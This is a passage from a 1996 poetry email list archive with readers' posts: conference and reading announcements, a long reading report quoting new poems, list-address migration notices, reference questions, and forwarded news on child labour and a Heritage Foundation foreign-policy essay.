Then on Sunday, November 17th, the long awaited "Queer Beats Conference" takes place at the Lecture Hall of the San Francisco Art Institute. This conference was organized by Bruce Boone, Bob Gluck, Jonathan Katz, Aaron Shurin and . . . me! It's presented by the Harvey Milk Institute in conjunction with several other co-sponsors, including the Poetry Center at SF State. It's an all-day conference from 10:30 a.m. to 4:30 p.m. Here's the phone number for more information [redacted]. But I can give you a rundown of what to expect, oh, and it costs $15-$20. 10:30 a.m., introductory remarks by Jonathan Katz. Then "Beat Erotics" panel moderated by Aaron Shurin, with Bruce Boone, Earl Jackson, Jr., Lenore Kandel and Steve Silberman. 12:30--1:30 lunch. Then at 1:30 another panel, I think it's called "Queer Identity" with Michael Davidson, Mark Ewert and Ricardo Ortiz, moderated by . . . me! Then at 3:00 p.m. "Beat Circles" panel with Maria Damon, Harold Norse and Scott Watson, moderated by Bob Gluck. I don't have the synopses of these talks in front of me but I remember some of them... Steve Silberman (yes, the famous authority on Jerry Garcia and the Dead) will be speaking about Philip Whalen and his first book of poetry, published quickly, then suppressed due to its high homoerotic quotient. Bruce Boone will be talking about dirt. Lenore Kandel will be making a rare appearance I think to talk about the censorship of her book "The Love Book" and I hope to talk about making "Lucifer Rising" with Kenneth Anger. She is

fantastic and a living legend and hardly ever seen, ever! I don't know what Earl's talking about but he teaches at UC Santa Cruz and has written a great book "Strategies of Deviance: Studies in Gay Male Representation." He and Bruce are the high theory guys on THAT panel. On the second panel Michael Davidson will speak on . . . . ??? I forget! But I'm sure it's something brilliant about the Cold War. Mark Ewert, a young writer and filmmaker, will speak about his intimate relations with octogenarian William S. Burroughs. Ricardo Ortiz will discuss John Rechy and why/how he was systematically excluded from cultural histories of the Beat movement. The final panel stars our own Maria Damon from the poetics list=8Bshe will talk about Bob Kaufman and gay influence, etc., I think; Harold Norse, another living legend from the original Beat Circles of New York, Tangier, Paris and London; and Scott Watson, a curator from UBC who will present slides of paintings and other graphic work created by 50's/60's artists whom, for one reason or another, mostly homophobic ones, were excluded from the Whitney's "Beat Culture and the New America" show now playing in San Francisco . . . Charming event. Hope to see you all on Thursday, Friday and Sunday. More later and excuse the long bandwidth of this message... or is it wide bandwidth?

↑ Index

184. William Northcutt

yep

Tue 12 Nov 1996

Reznikoff

↑ Index

185. Bill Luoma

Ear Inn Reading Report Nov 9

Tue 12 Nov 1996

Drew Gardner band was fast and furious fri night at knitting factory downstairs get ready it's called the Alterknit. Dug is mad at the knitting factory because they charge seven dollars to some even late into the set. Trio of boys bass drum high sax they're all on brain pep i think. A good round of poets in the audience too: Julie Patton, Andy Levy, Leonard Schwatz, Heather Ramsdell, Garrett Kalleberg, Dan Farrell come to sophies bar with us, Prageeta Sharma, Daria, Lee Ann Brown, Daria tells about channeling energy up & down spine chi gong joon bong shows Lee Ann top of head spot, Marlene Hennesey, Marcy, Shari, EleniS & Laird Hunt. Steve Dalchinsky whom dug says he sees EVERY time he is at a jazz or new music event slips in & out. At end of set we ask for more and knitting factory man says a short one. The Drew Gardner band does a short

one. we go back to sophies in car and talk about sex. i recite basting my lover poem and marlene is grossed out by basting. couldn't you make that a little more poetic? dug says it doesn't get any more poetic.

dug & marlene and i sit on ledge in front window of sophies. dug distraught about love & psychoanalysis. puts cigarette in mouth so points straight down talks like his dad. Douglas, the best thing I ever did was marry your mother. dug then goes on & on about mom, never anything good enough for her. he was ignored and reprimanded for sweeping the porch wrong. claims now he wants to fail and but he's even a failure at failing. we talk about juliana spahr's new book response. reading response is like watching ophra on ecstasy with the shrink you've always wanted. i tell story of how recognizing boy in car of myself. went for a drive to the beach with my black doggie but stop at gary's first to smoke some pot. leave black doggie in car. black doggie very unhappy left alone in car. o i left in car by dad going to bar. i have car dreams driving backward very fast while i in back. i cry & go to beach with black doggie. i say from reading juliana's book i learn why i obsessed with cars.

This is good I think because I have to go into Rob Fitterman's class on Wed to talk about poetry. I'll read Creeley i know a man, my trip to nyc & stress dug's car poem & and talk about cars and family early on in peoples' lives. then leaving family and getting new family of poets. car carries over cause we journey.

Next day is saturday, ear day, and I have placed two tapes inside jacket so I don't forget. Dug calls and wants me to pick him up on the service road just before Brooklyn Bridge. I not ready and always have to wait for dug so Dug buzz me. He buzzes, I hop out of shower and he comes up. He opens windows because he's hot. It's freezing I say.

Drive to ear over Brooklyn Bridge and down FDR around the horn of lower manhattan, best way to west side. On way up West Street I tell dug last week during the construction I see a diamond sign that says People Working. He thinks that's weird. People are still working but People Working sign is not.

At ear folks are there. I setup tape recorder and mic and James Sherry is having a discussion with George about speakers in the bar room. They haven't been working in bar room or George doesn't want them to be working in bar room. I tell James it's not an issue. I like only having speakers on in back room then people who don't want to hear poetry can sit in bar room and won't have to talk loud over speakers if they working. James writes Call Martin in orange crayon on his paper table cloth. James wants to know what happens if big crowd comes. I say that not an issue for my series.

Sitting in the back room are Jordan Davis, Stephen Malmude, Ange Mlinko, Edwin Torres, Larry Fagin, Lee Ann Brown, Dan Luft, Mary Ann Vitale, Drew Gardner, David Cameron, Douglass Rothschild, Joe Elliot, Brenda Coultas, Dan

& Elizabeth the couple who come to every reading but no one knows who they are he has big mustache she writes poems. i ask her if she likes her poems and she says some of them make her happy. Chris Stroffolino comes in tells me how to introduce Ange (with Mick Jagger song) and talks about the trials of getting his review essay of Moxley's new book published too long for a review too short for an essay. Others sit too. Jordan shows me 100 NZ poems and opens to Wynstan Curnow. A good poem in there and Jordan says Wynstan is 60. Laura Ranger tho is the best selling poet in NZ and she 8.

James is eager to start and I give Ange the 5 sign. She is introduced, I have taken Chris' advice and Lairball is agitated. She reads with passion and good poems take us over. We hear words from Immediate Orgy & Audit her Lift chapbook and Mass Ave Dan Bouchard's mag. She reads Lush Life and I can't remember where that's been published. I want to see it in print so I don't have to transcribe and screw up the line breaks.

Some arms do never fully close
like u turns to full stops
seem reckless personalities and branch endlessly
out like bell twirlers stroking shoulder straps
dropped like dreck beside the coffee stirrer.
Such a beat to the past tangles tonite's drummer
to touch there a handrail a danger. . . .
. . .
To not just be girls
under treaty like others we know
but sisters with secrets
under the cover.

Ange also reads a new poem called Driving with You:

This is such a lovely place to be
the blind spot of a truck
a cup tipped against your face
as you eat the ice loudly
where bridges mixed with the angel
wings of crossed fingers
built under supervision of children
from gifted classes
and always in life I hear
the woosh in my side
a door ajar at great speeds
more lemonade please . . .

Ange reads lots of good ones. Pop Song is wow as is City Story as is this she says it's from the chapbook.

YOU DRINK from the window the liquor's transparent
I don't take exception to a garbage truck on garbage day
Just tell me how I should pay you
to slide in, to funnel up, to light the torch
or ring the bell among the clockworks
Drink your tea & don't get high like an organ
Yes I finish the pot
because each successive cup's steeped deeper
lest I pour myself out
my reincarnation at age 25 will not be replete
with all the wisdom available to be troubled
None of the passersby am I or are me
all marriages dissolved today by decree
is my lion's rage at slow entropy.

Some fragrant steak cooks in my presence
It's Arabic here
were they to insist I wear a veil
it would be a dream should I agree

There is a short break and I inventory the people & collect three dollars from each. A guy is at the bar with some friends and I ask if he's here for the reading. Not really, he's here to meet some friends. Are you John Byrum I say. He's John Byrum he says.

James again gives the signal to start and I give Edwin the 2 sign. At the mic I give announcements and then yell at John Byrum. John Byrum I say give me a potato! John Byrum I want a potato! Edwin reads very well with a lot of performatives. I've forgotten how sexy he is. His fingers are very long and they move like octopus tentacles as he rustles thru pages between poems. He reads A Fairy Tale for IE.

Wherein O
wants to be IE
be come popular
like sticky skinny letters are
thingy letters be all the rage now
O the rage now
wishes it weren't so round
so large
if O bees unconnected
could straighten out to better letter

possible popular better letter I or E
O we
out to active oplecticism O O
intowoctaveklokdoctism I O E O
oc dockokokclockdoc kloke oke
si si si O O O O O O
Who needs I or E to be with O
so pretty
so O become fat in its Oness
swelling ump in pumpularito
thick in its O fame
beliefing in its own empty space
O become oral
oppears overywhere
or getting its original order to Oself
to unO to be more Ilike
less Olike shows to go you
Be happy where you O
lest you I yourself to E

Edwin likes it that we like his poems. He reads the one about the comet whose name he has trouble saying and I spelling.

Kahoutek

Kahoutek, I can barely pronounce you I love you.
What are you but some comet streaking the sky every 80 years driving us crazy with apprehension.
Gonna see you gonna miss you too dark wrong position.
I love you and all your confusion
more confusing than any lover maybe
not. What are you but some crazy streak
flashing in and out of my heart.
You never call me you never see me you big beautiful ball of fire.
You drive me crazy coming then going.
I wish we were together so I could break up with you.
I wish we were
but I can't wait that long.

There are so many good ones from Edwin because he can speak and command an audience like Jackson.

The Begin of Maybe

Where does
maybe is my M

ism I had I had time maybe
I been had
been handed hadisms
been through wicked wickeds
been time to
to have a
a time to
maybe mine
maybe sick sick
this was
body had me a time
this body had me
in time I had seen
and I
am is my ism
had kept on
I had kept this body at bay
a bad badness I had
I was wicked sick with bad
when will sick wicked withave me
will time have
what i have
when had time had me
and maybe let
me body
body was
was had
was I
her body was I
her body

After the reading I say come next week for Drew Gardner & Chuck Stein. James says nice combo. I shut down the system and give the poets their cab fares. Edwin sells all his Lung Poetry & I hear things people haven't really said chapbooks. We go to brothers. Jordan comes in and tells Larry to behave himself. Douglass comes in and says he's been talking to John Byrum about post modernism for two hours. Ange plays with her wedding ring and it falls off. She goes under the table to get it.

We go to Puffys and talk about blow job poems. Lee Ann tells us about snow cones. I bet the ice melts pretty fast.

↑ Index

186. **maria damon**
shapiro
Tue 12 Nov 1996

---

okay, this one's easy: what's the title and bibliographical info for that poem by karl shapiro that ends, "so small i could have drowned it with a tear"?--md

↑ Index

187. **Joe Amato**
snowsnowsnow...
Tue 12 Nov 1996

---

luigi-bob and others, how you making out with that lake effect?...

looks wicked bad, esp. for pre-turkey day...

joe

↑ Index

188. **Joel Felix**
ALIVE! Ronald Johnson Reading
Tue 12 Nov 1996

Tomorrow, Wed Nov 13 @ 12:00 noon, Ronald Johnson will be
reading from *Ark* and whatever else he cares to at the
University of Illinois-Chicago's Rathskeller Hall, thanks
to the efforts of LVNG magazine.
All systems are go, the airplane in Topeka is idling
on the runway, and the frigid skys over Chicago await...

↑ Index

189. **nuyopoman**
Re: POETICS Digest - 2 Nov 1996 to 3 Nov 1996
Tue 12 Nov 1996

For those who wish to actually READ the website before they submit their (science bent) poem, chck out OMNI at

http://www.omnimag.com/

If it meets yr ok, send appropriate and/or oblique submissions to me at

[redacted].

Reiterating: 4 sonnet-length poems with "science" "themes" will be posted on Omni for themonth of Jan. Accepted poems pay $50.

Bob Holman

↑ Index

190. Charles Bernstein
NEW ADDRESS FOR POETICS LIST
Tue 12 Nov 1996

This is an important letter I have been asked to pass on, written by the administrators of the listservs at SUNY-Buffalo:

Dear List Subscriber,

We hope you are aware that we are in the process of migrating our IBM-based LISTSERV lists (@ubvm.cc.buffalo.edu) to our new Unix-based LISTSERV machine (@listserv.acsu.buffalo.edu).

We have been testing this and making plans for quite a while now so that this migration will be as painless as possible and transparent for you and us.

So, what does this mean to you?

1) The address for your list will change from
[redacted]
to
[redacted]

2) The address for sending list maintenance commands (sub, unsub, index, review, set, etc.) will change from
[redacted]
to
[redacted]

3) You may only interact with [redacted] via email. So, if you have been using an interactive command to interact with [redacted] (such as: SENDFILE, TELL, LSVPUT, SEND, SEND/FILE, etc.), you will now have to send all commands in the body of an email message. My online List User documents already use the email interface in the examples (http://writing.upenn.edu/computing/listserv/user/).

****

ALSO NOTE: questions about the list should now be sent to [redacted] (not [redacted] as before).

↑ Index

191. Mark Roberts

AWOL: John Kinsella's US tour (forwarded)

Tue 12 Nov 1996

>Date: Wed, 13 Nov 1996 07:10:37 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: John Kinsella's US tour
>
>John Kinsella's US tour
>
>John will be reading in the following cities
>
>Boston Nov 13;
>
>Nov 14 the University of New Hampshire. John Kinsella will give a lecture
>on "Hybridity" at 12:30 p.m. and a reading at 5:00 p.m. The lecture will
>be in the Faculty Lounge of the English Department, Hamilton Smith Hall
>(all are welcome), and the reading will be in the Forum Room of Dimond
>Library (both buildings are just off Main Street in Durham; heart of the
>campus). Contact Romana Huk (tel: [redacted]; fax: [redacted] email
>[redacted]) Therre may be drinks and dinner after the reading.
>
>Portland Nov 15;
>
>New York Nov 17 JOHN KINSELLA & CHARLES BERNSTEIN The Segue Performance Space
>303 East 8th Street (Betw Aves B&C) [redacted], F train to 2nd Ave, L
>train to 14th and 1st, 6 train to Astor Place Beer & Wine available for
>donation. Suggested $5.00.
>
>Newark Nov 21;
>
>San Francisco Nov 22 Small Press Traffic is presenting John Kinsella with
>Lyn Hejinian at the New College Theater. Further details email
>[redacted]
>
>Newark Nov 24;
>
>Edmonton Nov 26;
>
>Prince George Nov 28;

>
>Calgary Nov 29
>
>
This informationis available on the AWOL website under 'Late breaking news'.
Any additional infomration about venues and/or extra readings will be added
as we get it.
>
>
>
>
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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192. Eryque Gleason
Re: NEW ADDRESS FOR POETICS LIST
Tue 12 Nov 1996

---

that announcement didn't mention, when does the new address go into effect?

↑ Index

193. **Pierre Joris**
Re: NEW ADDRESS FOR POETICS LIST
Tue 12 Nov 1996

On Tue, 12 Nov 1996, Eryque Gleason wrote:

> *that announcement didn't mention, when does the new address go into effect?*

it did, eryque, check the header

========== Pierre Joris | "Poetic knowledge...is the knowledge of finitude, Dept. of English | of words and things that happen once and SUNY Albany | once only, measurable but not repeatable, the Albany NY 12222 | intuitions of _nonstatistical_ probabilities tel&fax:[redacted] | that are _creative_, not merely re-creative email: | (or recreational)." -- Don Byrd [redacted]| ==========

↑ Index

194. **wystan**
Re: Ear Inn Reading Report Nov 9
Tue 12 Nov 1996

Hey Bill, So great to get mentioned in despatches, but tell Jordan he's exaggerated my age somewhat, I'm only 57 (only 57!) and not a grey hair and the name's Wystan not Wynstan (Capilano Review made the same mistake) but I'm glad your liked the pome. It's true what they say about Laura's being the best-selling poet, and it has to be said we are very supportive of young talent in this country (most poets' sales peak around age 10) but you grow out of selling your stuff--I believe I've given away more books than she has. Last time I was at the Ear it was to hear Kathleen Fraser and Corine Robbins. Nancy Spero was there in the audience, also Charles and Susan, Nick (Piombino), Jackson , and James. I can't remember any of the lines. Afterwards we went to SoHo (Greene St), maybe Corine's loft for some food. It was wet and I was jet lagged. Best, Wystan

↑ Index

195. Mark Roberts
John Kinsella in Boston
Tue 12 Nov 1996

Does anyone know where John Kinsella is reading in Boston. I've had a couple of enquiries but my contact at the Australia Council doesn't know.

Back channel me if you like, but could you also send a copy to [redacted]

many thanks

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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196. Eryque Gleason
Re: NEW ADDRESS FOR POETICS LIST
Wed 13 Nov 1996

---

that's what i get for using a fancy mailer and turning off the header!

> *On Tue, 12 Nov 1996, Eryque Gleason wrote:*
>
> *that announcement didn't mention, when does the new address go into effect?*
>
> *it did, eryque, check the header*
>
> *==========*
> *Pierre Joris | "Poetic knowledge...is the knowledge of finitude,*
> *Dept. of English | of words and things that happen once and*
> *SUNY Albany | once only, measurable but not repeatable, the*
> *Albany NY 12222 | intuitions of _nonstatistical_ probabilities*
> *tel&fax:[redacted] | that are _creative_, not merely re-creative*
> *email: | (or recreational)." -- Don Byrd*
> *[redacted]|*
> *==========*

↑ Index

197. Curtis J Leitz
broughton and gleason papers
Wed 13 Nov 1996

Does anybody know where the Broughton papers are, and if there are any collections of Madeline Gleason's papers beyond what is at USF and the SF State Poetry Center? I'm still trying to track down any info i can on Madeline Gleason.

Backchannels enthusiastically accepted!

Curt Leitz

↑ Index

198. Mark Wallace
NEW ADDRESS FOR LISTSERVE
Wed 13 Nov 1996

I may be mistaken, not being an e-mail expert, but it looks to me like the date that the poetics address was changing over was not listed for people who receive the poetics list on digest. Am I missing something? Or can the date of the change be repeated?

Mark Wallace

↑ Index

199. Burt Kimmelman
call for help; russian verse
Wed 13 Nov 1996

From: MX%"[redacted]" 12-NOV-1996 22:47:41.67
To: MX%"[redacted]"
CC:
Subj: FWD: information??

Date: Tue, 12 Nov 1996 16:51:36 -0500 (EST)
From: [redacted]
To: [redacted]
Subject: FWD: information??

Anyone out there know the answer to this one? All best, Martha

----------Original message----------
From: CENTER::SCERASANO 12-NOV-1996 15:59
To: JOLIVER

CC:
Subj: information??

From: CENTER::RSYLVESTER 12-NOV-1996 12:50:11.77
To: JOLIVER
CC:
Subj: Does anyone know this poem? Martha - reply to me, Judy if you have a clue. Anyone in the early book society have any ideas?

Dear Friends, Forgive the mass mailing, but I am wondering
if you have any clues on the poem below, or know of any
newsgroups where I might post this question? I'd be most
grateful for any ideas you might have about it, or whom to
ask about it.

Thanks, Dick

I am trying to find the original of the poem below, which
I give in a translation from Russian. The Russian poet,
Aleksey Pleshcheev, produced this text in 1877
"from the English, by an anonymous poet".
Tchaikovsky used Pleshcheev's text for his song
called "Legend", opus 54 no 5. I am collecting
and translating all Tchaikovsky's songs, and would
like to find the English original if possible. It has
never been identified by Russian scholars. Here
is a plain translation of the Russian text:

The Christ-child had a garden,
He grew many roses in it;
Thrice a day he watered them
To weave a garland of roses for himself.

And when the roses bloomed,
He summoned the Hebrew children;
They each picked a flower
And the garden was left bare.

Q"How wilt thou weave a garland now?
The roses in thy garden are all gone!"
Q"Don't forget,"QChrist answered themQ
"The thorns are all still left for me."

And so they wove him
A prickly garland from the thorns,
And drops of blood, instead of roses,
Adorned his head.

***
Has anyone ever seen anything like this in
English Q or Scottish Q hymnals, or popular
collections of religious verse, perhaps
for children?

I would be grateful for any help on this.

/s/
Richard Sylvester
Professor of Russian, Colgate University
[redacted]

P. S. The Q letter in the text of the poem
is a goof. This is an "em-dash", a long dash,
which doesn't print in the e-mail set of 128
characters. Sorry.

↑ Index

200. Mark Wallace
NEW LIST ADDRESS
Wed 13 Nov 1996

Sorry, folks, please ignore my previous message if it reached the list, as well as this one--I've figured the new situation out. My apologies for wasting everyone's time.

mark wallace

↑ Index

201. Pritchett,Pat
Re: Jim Carroll
Wed 13 Nov 1996

Does anyone happen to know the name of the cafe near or at St. Mark's Place where Jim Carroll used to read? A free drink (for me) hangs in the balance... Backchannel, please.

Patrick Pritchett
[redacted]

↑ Index

202. **lphillips**
Re: John Kinsella in Boston
Wed 13 Nov 1996

Please don't backchannel about the John Kinsella reading in Boston; the rest of us who are here would also like to know when and where. Thanks.

Lisa Amber Phillips

↑ Index

203. **Aldon L. Nielsen**
Re: A Free Drink in the Archives
Wed 13 Nov 1996

Pat -- I've been noting the presence of the Bettman Archive in the list at the end of each night's episode of _The Great War_ on PBS -- and wondering what you plan to do once you find the archives ???

Hope you get that free drink --

↑ Index

204. **Pritchett,Pat**
Re: A Free Drink in the Archives
Wed 13 Nov 1996

Thanks, Aldon. So do I.

Actually, now that I've found the archives, I also find I don't need them. Didn't realize they were strictly a photo archive. BTW: they now answer the phone as "Corbis-Bettman."

The project I'm working on is the one I mentioned to you: the TriStar film about Matthew Henson & Robert Peary. The writer, Robert Schenkkan, has given me a list of incidents in Henson's life to corroborate. There's some problem in obtaining the rights to a book and TriStar is trying an end run. The owner of the rights, I'm told, is a real eccentric - some kind of Luddite who insists on signing for Fedex packages by dipping his cat's paw in ink. A job for ASPCA? Anyway, negotiations, as they say, are stalled.

Would you happen to know if Howard has any kind of archival material on Henson? Or would anyone else out there? I know this ain't exactly Poetics, but I'm stuck and would appreciate any leads. Backchannel, by all means. I don't want to clutter the List with my lostness.

Frozen (but not in the Chosin),
Patrick Pritchett
[redacted]

From: Aldon L. Nielsen
To: POETICS
Subject: Re: A Free Drink in the Archives
Date: Wednesday, November 13, 1996 11:01AM

Pat -- I've been noting the presence of the Bettman Archive in the list at the end of each night's episode of _The Great War_ on PBS -- and wondering what you plan to do once you find the archives ???

Hope you get that free drink --

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205. Gabrielle Welford
Child labour (fwd)
Wed 13 Nov 1996

---------- Forwarded message ----------
Date: Tue, 12 Nov 1996 15:22:14 -1000
From: Aaron <[redacted]>

This story from the bourgeois press does not, naturally,
suggest how to do away with this exploitation of children. That's up to us!

[I have only used quotes before the original header lines, to make it easier to read the body of the original post.]

--Aaron

> *Date: Tue, 12 Nov 1996 11:57:52 -0800*
> *Sender: Forum on Labor in the Global Economy <[redacted]>*
> *From: D Shniad <[redacted]>*
> *Subject: Child labour*
> *To: Multiple recipients of list LABOR-L <[redacted]>*

The Saskatoon StarPhoenix November 12, 1996

250 MILLION CHILDREN IN LABOR FORCE: ILO

GENEVA (AP) - From the brothels of Asia to the carpet factories of Pakistan, nearly twice as many children are working full time in developing countries as previously thought, the International Labor Organization said Monday.

The latest calculations from the UN labor agency show that 250 million five-to-14-year-olds are employed, half of them full time. That's up sharply from earlier estimates of 73 million full-time child workers.

The new figures come after in-depth surveys and interviews in numerous countries. Previous estimates were based almost solely on official statistics.

The ILO report found nearly 153 million children are working in Asia, 80 million in Africa and 17.5 million in Latin America. It called for a new international accord banning the harshest forms of child labor: slavery, prostitution and work in hazardous industries.

Only 49 UN members ratified a 1976 child labor convention. Some nations said its limits on paid work were too broad.

ILO Director General Michel Hansenne said child labor only perpetuates an endless cycle of illiteracy and poverty.

"We all know that . . . many efforts over the years will be required to eliminate it completely," he said. "But there are some forms which are intolerable by any standard. These deserve to be identified, exposed and eradicated without further delay."

Slavery or child bondage still is practised in South Asia, Southeast Asia and West Africa, the report said. Children are either sold outright or rural families are paid in advance by "contractors" who take children away to work in carpet weaving, glass manufacturing or prostitution.

Child trafficking for the sex industry is increasing despite better international awareness of the problem, the ILO said.

In Asia, child prostitutes number about one million and rising, the report said. Numbers also are increasing in Burkina Faso, the Ivory Coast, Ghana, Kenya, Zambia and Zimbabwe.

It identified international sex networks that take Latin American children to Europe and the Middle East, and Southern Asian children to northern Europe and the Middle East. Child sex markets also were well established in West Africa, Europe and the Arab world, it said.

Among other things, the ILO found that:

™ Certain industries are exposing their child workers to pesticide poisoning, lung diseases or even crippling their growing bodies by forcing them to carry heavy weights.

™ In Sri Lanka, more children die from pesticide poisoning than from a combination of other childhood diseases such as malaria, tetanus and whooping cough.

™ Children are exposed to dust and fumes in repair shops, woodwork factories and construction sites in Egypt, the Philippines and Turkey.

™ In glass factories, children are often forced to drag loads of molten glass from glowing furnaces amid noise levels that could cause deafness. Children as young as three were working in match factories where they were exposed to dust, asbestos and other hazardous fumes.

™ Up to five million child domestic servants work in Indonesia, including 400,000 in the capital, Jakarta.

↑ Index

206. daniel_bouchard
Re: Child labour (fwd)
Wed 13 Nov 1996

Date: Tue, 12 Nov 1996 15:22:14 -1000
From: Aaron <[redacted]>
This story from the bourgeois press does not, naturally,
suggest how to do away with this exploitation of children. That's up to us!
--Aaron

_____

Gab,

what does Aaron suggest?

[redacted]

_____

> *Date: Tue, 12 Nov 1996 11:57:52 -0800*
> *Sender: Forum on Labor in the Global Economy <[redacted]>*
> *From: D Shniad <[redacted]>*
> *Subject: Child labour*
> *To: Multiple recipients of list LABOR-L <[redacted]>*

The Saskatoon StarPhoenix November 12, 1996

250 MILLION CHILDREN IN LABOR FORCE: ILO

GENEVA (AP) - From the brothels of Asia to the carpet factories of Pakistan, nearly twice as many children are working full time in developing countries as previously thought, the International Labor Organization said Monday.

The latest calculations from the UN labor agency show that 250 million five-to-14-year-olds are employed, half of them full time. That's up sharply from earlier estimates of 73 million full-time child workers.

The new figures come after in-depth surveys and interviews in numerous countries. Previous estimates were based almost solely on official statistics.

The ILO report found nearly 153 million children are working in Asia, 80 million in Africa and 17.5 million in Latin America. It called for a new international accord banning the harshest forms of child labor: slavery, prostitution and work in hazardous industries.

Only 49 UN members ratified a 1976 child labor convention. Some nations said its limits on paid work were too broad.

ILO Director General Michel Hansenne said child labor only perpetuates an endless cycle of illiteracy and poverty.

"We all know that . . . many efforts over the years will be required to eliminate it completely," he said. "But there are some forms which are intolerable by any standard. These deserve to be identified, exposed and eradicated without further delay."

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Among other things, the ILO found that:

? Certain industries are exposing their child workers to pesticide poisoning, lung diseases or even crippling their growing bodies by forcing them to carry heavy weights.

? In Sri Lanka, more children die from pesticide poisoning than from a combination of other childhood diseases such as malaria, tetanus and whooping cough.

? Children are exposed to dust and fumes in repair shops, woodwork factories and construction sites in Egypt, the Philippines and Turkey.

? In glass factories, children are often forced to drag loads of molten glass from glowing furnaces amid noise levels that could cause deafness. Children as young as three were working in match factories where they were exposed to dust, asbestos and other hazardous fumes.

? Up to five million child domestic servants work in Indonesia, including 400,000 in the capital, Jakarta.

↑ Index

207. **Gabrielle Welford**
Re: Child labour (fwd)
Wed 13 Nov 1996

Hi Daniel. He hasn't suggested anything, so far. You could write and ask him. gab.

↑ Index

208. **daniel_bouchard**
C-NEWS:
Wed 13 Nov 1996

I wonder what poets Kim Holmes admires. And why.

[redacted]

To: can-peace @ pencil.math.missouri.edu (Multiple recipients of list) @ SMTPIN
cc: (bcc: Daniel Bouchard/College/hmco)
From: rcowan @ lesley.edu (Rich Cowan) @ SMTPIN
Date: 11/13/96 11:53:12 AM
Subject: C-NEWS:

here's a position paper from the Heritage Foundation.

Challenge the Lies.

-rc

NEW FOREIGN POLICY CREDO: BE PREPARED

By Kim Holmes
The Heritage Foundation
October 24, 1996

The 1996 election campaign has been conspicuously quiet on foreign policy. Both major presidential candidates, catering to a post-Cold War public glad to be rid of the constant nuclear threat from the Soviet Union, have avoided the subject, thinking they were following the prudent political course.

I disagree: Leadership requires more than merely reflecting the momentary concerns of the electorate. It requires not just talking about what people say they are concerned about, but also pointing out what they ought to be concerned about. And they ought to be concerned about foreign policy.

The truth is that the United States is handling foreign policy challenges like Iraq, Bosnia, North Korea and Haiti on an ad hoc basis -- without adequate contingency plans already in place when trouble strikes. What this means is that it is only a matter of time before America is caught unprepared and becomes unnecessarily involved in another war or some other international crisis.

In the post-Cold War era, the United States has failed to set clear and meaningful criteria for action, stick to those criteria, and effectively communicate them to friends and enemies alike so other nations can predict how we will respond in a given situation. Without such guidelines, friends are left not knowing whether they can count on us, enemies are encouraged to test the waters to see what they can get away with, and our military is involved in matters best handled by other countries or by international social workers.

The White House should be formulating its plans for dealing with possible foreign policy crises now -- based on a clear understanding of U.S. interests and capabilities to shape events -- not after events start spinning out of control. Here is a "top-10 list," if you will, of worst-case foreign-policy scenarios the White House should be prepared to deal with should they arise, arranged in order from least to most likely:

Scenario #10 Civil war in Russia divides control of Russia's nuclear forces between various political and military factions. Based on false information that the United States is about to intervene militarily, a rogue commander authorizes a nuclear attack on the United States or U.S. forces in Europe. Unlikely, to be sure, but not impossible;

Scenario #9 Next year, China decides to turn up the heat on Taiwan by establishing a naval blockade of that island nation or threatening a ballistic missile attack;

Scenario #8 Iran tries to close down the Strait of Hormuz in the Persian Gulf, bottling up some 20 percent of the world's oil supplies, or helps topple the monarchy in Saudi Arabia;

Scenario #7 An Iraqi-backed terrorist group attacks U.S. troops in Kuwait with biological weapons -- anthrax spores, for example -- killing

hundreds of American soldiers. However, no one takes credit and no one is sure who did it;

Scenario #6 Russia threatens the Baltic states -- Latvia, Lithuania and Estonia -- with military action in response to NATO's decision to include Poland, the Czech Republic and Hungary in the alliance;

Scenario #5 Boris Yeltsin dies and new Russian elections result in the rise of an unpredictable, anti-Western president like Alexander Lebed. Or Yeltsin doesn't die, but becomes incapacitated, setting off a dangerous succession struggle in the Kremlin that destabilizes Russia;

Scenario #4 Saddam Hussein shoots down a U.S. plane in the newly expanded no-fly zone in Northern Iraq and takes its pilot hostage;

Scenario #3 North Korea decides to go down fighting, invades the South, overruns most of the 37,000 U.S. troops along the demilitarized zone, and reduces most of Seoul to rubble;

Scenario #2 China decides to crack down on Hong Kong next year after the former British colony reverts to Beijing's rule;

Scenario #1 U.S. troops stay in Bosnia past the promised December deadline for withdrawal, and dissatisfied groups decide to eject the Americans by force, or radical Moslem terrorists launch attacks on remaining U.S. troops.

Does the administration have contingency plans in place should any of the above scenarios arise? To judge from its conduct so far on the world stage, it is highly improbable.

No administration, Republican or Democrat, should operate in the foreign policy arena without clearly understanding how America's interests would best be served in such crisis scenarios. Unless U.S. policy-makers are prepared to act with determined vision in the post-Cold War world, they place America at risk.

Note: This essay by Kim Holmes, Ph.D., Heritage Foundation vice president and director of foreign and defense policy studies, is adapted from "Restoring American Leadership," 1996, The Heritage Foundation, 288 pages.

[redacted] if you have questions.

↑ Index

209. Rachel Blau DuPlessis
Anne Waldman reading
Wed 13 Nov 1996

Well, in case you ddn't get it by my intrepid manipulations of both sender and subject, Anne Waldman will give one of her bravura performance readings at Temple University on Thursday, 21 November, at 8:00. It's free, and at our NEW reading space, the Temple Gallerynow located at 45 North 2nd Street, and that, folks, i)4|s in PHILADELPHIA. Hurry on by, if you can.

↑ Index

210. Pritchett,Pat
Re: C-NEWS:
Wed 13 Nov 1996

Offhand, I'd say she/he admires poets who always know what they're going to say next and why, and moreover, are prepared to back it up with force if necessary.

From: Daniel_Bouchard
To: POETICS
Subject: C-NEWS:
Date: Wednesday, November 13, 1996 2:42PM

I wonder what poets Kim Holmes admires. And why.

[redacted]

To: can-peace @ pencil.math.missouri.edu (Multiple recipients of list) @ SMTPIN
cc: (bcc: Daniel Bouchard/College/hmco)
From: rcowan @ lesley.edu (Rich Cowan) @ SMTPIN
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In the post-Cold War era, the United States has failed to set clear and meaningful criteria for action, stick to those criteria, and effectively communicate them to friends and enemies alike so other nations can predict how we will respond in a given situation. Without such guidelines, friends are left not knowing whether they can count on us, enemies are encouraged to test the waters to see what they can get away with, and our military is involved in matters best handled by other countries or by international social workers.

